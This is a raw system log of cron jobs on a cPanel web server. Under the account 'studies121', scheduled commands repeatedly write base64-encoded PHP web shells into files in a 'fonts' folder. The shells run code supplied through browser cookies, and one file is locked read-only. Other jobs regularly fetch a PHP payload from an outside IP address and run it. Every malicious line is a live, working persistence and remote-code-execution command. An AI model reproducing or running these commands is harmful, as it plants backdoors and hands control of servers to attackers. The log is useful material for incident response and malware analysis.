Sep  4 03:06:01 ip-184-168-122-23 CROND[7536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:06:01 ip-184-168-122-23 CROND[7538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:07:01 ip-184-168-122-23 CROND[7644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:07:01 ip-184-168-122-23 CROND[7646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:07:01 ip-184-168-122-23 CROND[7647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:07:01 ip-184-168-122-23 CROND[7648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:08:01 ip-184-168-122-23 CROND[7723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:08:01 ip-184-168-122-23 CROND[7724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:08:01 ip-184-168-122-23 CROND[7727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:08:01 ip-184-168-122-23 CROND[7725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:08:01 ip-184-168-122-23 CROND[7726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:08:01 ip-184-168-122-23 anacron[6984]: Job `cron.daily' started
Sep  4 03:08:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[7738]: starting logrotate
Sep  4 03:08:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[7758]: finished logrotate
Sep  4 03:08:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[7738]: starting man-db.cron
Sep  4 03:08:04 ip-184-168-122-23 run-parts(/etc/cron.daily)[10119]: finished man-db.cron
Sep  4 03:08:04 ip-184-168-122-23 anacron[6984]: Job `cron.daily' terminated
Sep  4 03:09:01 ip-184-168-122-23 CROND[10193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:09:01 ip-184-168-122-23 CROND[10194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:09:01 ip-184-168-122-23 CROND[10197]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 03:09:01 ip-184-168-122-23 CROND[10199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:09:01 ip-184-168-122-23 CROND[10198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:10:01 ip-184-168-122-23 CROND[10294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:10:01 ip-184-168-122-23 CROND[10293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:10:01 ip-184-168-122-23 CROND[10295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:10:01 ip-184-168-122-23 CROND[10296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:10:01 ip-184-168-122-23 CROND[10300]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:10:01 ip-184-168-122-23 CROND[10302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:10:01 ip-184-168-122-23 CROND[10303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:10:01 ip-184-168-122-23 CROND[10304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:11:02 ip-184-168-122-23 CROND[10406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:11:02 ip-184-168-122-23 CROND[10408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:11:02 ip-184-168-122-23 CROND[10407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:11:02 ip-184-168-122-23 CROND[10409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:12:01 ip-184-168-122-23 CROND[10499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:12:01 ip-184-168-122-23 CROND[10501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:12:01 ip-184-168-122-23 CROND[10502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:12:01 ip-184-168-122-23 CROND[10505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:12:01 ip-184-168-122-23 CROND[10506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:13:01 ip-184-168-122-23 CROND[10681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:13:01 ip-184-168-122-23 CROND[10682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:13:01 ip-184-168-122-23 CROND[10684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:13:01 ip-184-168-122-23 CROND[10683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:14:01 ip-184-168-122-23 CROND[10792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:14:01 ip-184-168-122-23 CROND[10795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:14:01 ip-184-168-122-23 CROND[10797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:14:01 ip-184-168-122-23 CROND[10794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:14:01 ip-184-168-122-23 CROND[10796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:15:01 ip-184-168-122-23 CROND[10954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:15:01 ip-184-168-122-23 CROND[10955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:15:01 ip-184-168-122-23 CROND[10956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:15:01 ip-184-168-122-23 CROND[10959]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:15:01 ip-184-168-122-23 CROND[10961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:15:02 ip-184-168-122-23 CROND[10964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:16:01 ip-184-168-122-23 CROND[11048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:16:01 ip-184-168-122-23 CROND[11050]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:16:01 ip-184-168-122-23 CROND[11051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:16:01 ip-184-168-122-23 CROND[11047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:16:01 ip-184-168-122-23 CROND[11046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:16:01 ip-184-168-122-23 CROND[11049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:17:01 ip-184-168-122-23 CROND[11156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:17:01 ip-184-168-122-23 CROND[11157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:17:01 ip-184-168-122-23 CROND[11158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:17:01 ip-184-168-122-23 CROND[11155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:18:01 ip-184-168-122-23 CROND[11258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:18:01 ip-184-168-122-23 CROND[11260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:18:01 ip-184-168-122-23 CROND[11259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:18:01 ip-184-168-122-23 CROND[11261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
